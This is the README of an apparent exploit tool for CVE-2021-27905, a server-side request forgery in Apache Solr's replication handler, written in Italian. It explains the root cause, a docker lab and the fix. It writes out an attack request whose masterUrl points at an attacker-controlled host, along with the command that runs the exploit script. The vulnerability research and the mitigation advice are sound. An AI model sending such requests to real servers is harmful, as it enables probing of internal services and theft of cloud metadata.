## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RIZZZIOM-CVE-2021-27905
# CVE-2021-27905
**N.**| **Titolo**
---|---
1| Panoramica
2| Causa principale
3| Prova di concetto
4| Mitigazione (8.8.2+)
5| Riferimenti
**Solo per scopi educativi e di ricerca. Non utilizzare questo codice su sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita al test. Non sono responsabile per eventuali usi impropri.**
## Panoramica
Questa è una vulnerabilità di Server Side Request Forgery che interessa **Apache Solr** (< 8.8.2) e consente ad attaccanti remoti di effettuare richieste HTTP arbitrarie verso sistemi interni o esterni tramite il parametro `masterUrl` dell'handler di replica, esponendo potenzialmente servizi interni o metadati sensibili del cloud.
**Versioni interessate** : tutte le versioni precedenti alla `8.8.2` (`7.0.0 - 7.7.3, 8.0.0 - 8.8.1`)
## Causa principale
Il meccanismo di replica in **Solr** consente a una "replica" di recuperare i file dell'indice da un "master/leader" specificando un parametro `masterUrl` o `leaderUrl`. L'URL indicato tramite questo parametro non viene validato correttamente nelle versioni interessate di **Apache Solr**. Ciò consentirebbe agli attaccanti di convincere il server a contattare una risorsa remota da loro scelta.
**Flusso vulnerabile**
* Un attaccante invierebbe una richiesta a un endpoint come:
root@kitploit:~
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
Il `ReplicationHandler` di **Solr** :
1. Accetterebbe la richiesta.
2. Userebbe il `masterUrl` fornito per scaricare i dati dell'indice.
3. Effettuerebbe internamente una chiamata HTTP a quell'indirizzo.
## Prova di concetto
**SETUP DEL LAB**
* È possibile configurare un lab localmente tramite docker:
root@kitploit:~
$ cd lab
$ docker compose up -d
# verify accessibility
$ curl http://127.0.0.1:8983/solr
* Pulizia
root@kitploit:~
$ docker compose down
**SFRUTTAMENTO**
* Configura un ambiente virtuale:
root@kitploit:~
# for windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# for linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate
* Installa i requisiti:
root@kitploit:~
$ pip install -r requirements.txt
* Esegui `cve-2021-27905.py`
root@kitploit:~
$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

## Mitigazione (8.8.2+)
Il `ReplicationHandler` di Solr è stato corretto per:
* Validare che `masterUrl`/`leaderUrl` punti solo a host approvati.
* Limitare gli schemi URL accettabili (solo `http`, `https`).
* Rafforzare le funzionalità di streaming remoto.
* Raccomandare agli amministratori di proteggere `/replication` con autenticazione o rimuoverlo completamente se non viene utilizzato.
### Riferimenti
* https://nvd.nist.gov/vuln/detail/CVE-2021-27905
* https://lists.apache.org/thread/90kct018gfdnvh9wh5xvt0grm9jk2l80
* * *